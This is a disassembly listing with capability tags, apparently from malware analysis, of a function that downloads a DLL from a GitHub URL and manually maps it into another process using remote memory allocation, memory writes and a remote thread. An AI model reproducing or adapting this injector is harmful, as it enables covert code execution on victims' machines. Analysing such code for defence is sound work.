Function at 0x1800011e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x180067080]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rcx
lea rcx, str.Downloading_client..._n
call fcn.180001020
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r13d, r13d
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x79], r13
call fcn.180002a00
lea r8, str.https:__github.com_NullPointerExpts_ps1scripts_raw_main_contex.dll
mov edx, 0x2712
mov rcx, rax
mov rbx, rax
call fcn.180005400
lea r8, [0x180001080]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.180005400
mov edx, 0x34
mov r8d, 1
mov rcx, rbx
call fcn.180005400
xor r8d, r8d
mov edx, Ordinal_46
mov rcx, rbx
call fcn.180005400
lea r8, [0x180001100]
mov edx, 0x4e58
mov rcx, rbx
call fcn.180005400
lea r8, [rsp + 0x48]
mov edx, 0x2711
mov rcx, rbx
call fcn.180005400
mov rcx, rbx
call fcn.180002ac0
mov rcx, rbx
mov esi, eax
call fcn.1800029e0
test esi, esi
je 0x1800012cb
mov edx, esi
lea rcx, str._ERROR__CURLresult:__d_n
call fcn.180001020
xor al, al
jmp 0x1800018bc
lea rcx, str._nInjecting..._n
mov qword [rsp + 0x138], r12
call fcn.180001020
mov r12, qword [rsp + 0x48]
mov eax, 0x5a4d
cmp word [r12], ax
je 0x180001303
lea rcx, str._ERROR__e_magic___0x5A4D_n
call fcn.180001020
xor al, al
jmp 0x1800018b4
mov qword [rsp + 0x140], r14
xor edx, edx
movsxd r14, dword [r12 + 0x3c]
mov r9d, 0x3000
add r14, r12
mov qword [rsp + 0x148], r15
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov r8d, dword [r14 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x180001359
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__VirtualAllocEx__1__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
mov dword [rbp + 0x1b], r13d
lea rax, [rbp + 0x1b]
mov r8d, dword [r14 + 0x50]
mov r9d, 0x40
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x69], rax
mov r8, r12
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov qword [rbp - 0x61], rax
mov rcx, rdi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x49], r13
mov qword [rbp - 0x41], 1
mov qword [rbp - 0x31], 1
mov qword [rbp - 0x51], r15
mov qword [rbp - 0x39], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180001405
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__WriteProcessMemory__1__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
movzx ebx, word [r14 + 0x14]
mov esi, r13d
add rbx, 0x2c
cmp word [r14 + 6], r13w
je 0x180001457
add rbx, r14
nop dword [rax + rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x180001448
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800014ac
movzx eax, word [r14 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x180001420
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov rcx, rdi
test rax, rax
jne 0x1800014da
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__VirtualAllocEx__2__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__WriteProcessMemory__2__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x69]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
test eax, eax
jne 0x180001539
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__WriteProcessMemory__3__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov rcx, rdi
test rax, rax
jne 0x1800015a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__VirtualAllocEx__3__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
xor esi, esi
lea r8, [0x1800018e0]
mov r9d, 0x1000
mov qword [rsp + 0x20], rsi
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, rdi
test eax, eax
jne 0x180001619
mov r9d, 0x8000
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__WriteProcessMemory__4__Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
mov qword [rsp + 0x30], rsi
mov r9, r13
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x18000168f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__CreateRemoteThread_Error:_0x_X_n
call fcn.180001020
jmp 0x1800018a2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
lea rdx, [rbp + 0x17]
mov dword [rbp + 0x17], esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x17], 0x103
jne 0x180001896
xorps xmm0, xmm0
mov qword [rsp + 0x20], rsi
mov r9d, 0x40
lea r8, [rbp - 0x29]
mov rdx, r12
mov rcx, rdi
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 9]
cmp rbx, 0x404040
je 0x18000184e
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1800016a0
mov ecx, 0x100000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov rbx, rax
test rax, rax
jne 0x180001730
lea rcx, str._ERROR__emptyBuffer__nullptr_n
jmp 0x18000189d
xor edx, edx
mov r8d, 0x100000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], rsi
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r14 + 0x14]
add rbx, 0x3c
cmp word [r14 + 6], si
je 0x1800017cf
add rbx, r14
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x1800017c0
mov eax, dword [rbx]
mov dword [rbp + 0x17], 0
test eax, 0x80000000
jbe 0x180001791
mov r9d, 4
jmp 0x1800017a0
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp + 0x17]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, word [r14 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x180001772
xor ebx, ebx
mov r9d, 2
mov dword [rbp + 0x1f], ebx
mov rdx, r15
movzx eax, word [r14 + 0x14]
mov rcx, rdi
mov r8d, dword [rax + r14 + 0x24]
lea rax, [rbp + 0x1f]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rsp + 0x40]
mov r9d, 0x1000
mov rdx, r13
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov al, 1
jmp 0x1800018a4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str._ERROR__hCheck__0x404040_n
jmp 0x18000189d
lea rcx, str._ERROR__GetExitCodeProcess___STILL_ACTIVE_n
call fcn.180001020
xor al, al
mov r14, qword [rsp + 0x140]
mov r15, qword [rsp + 0x148]
mov r12, qword [rsp + 0x138]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.18004fe80
add rsp, 0x100
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret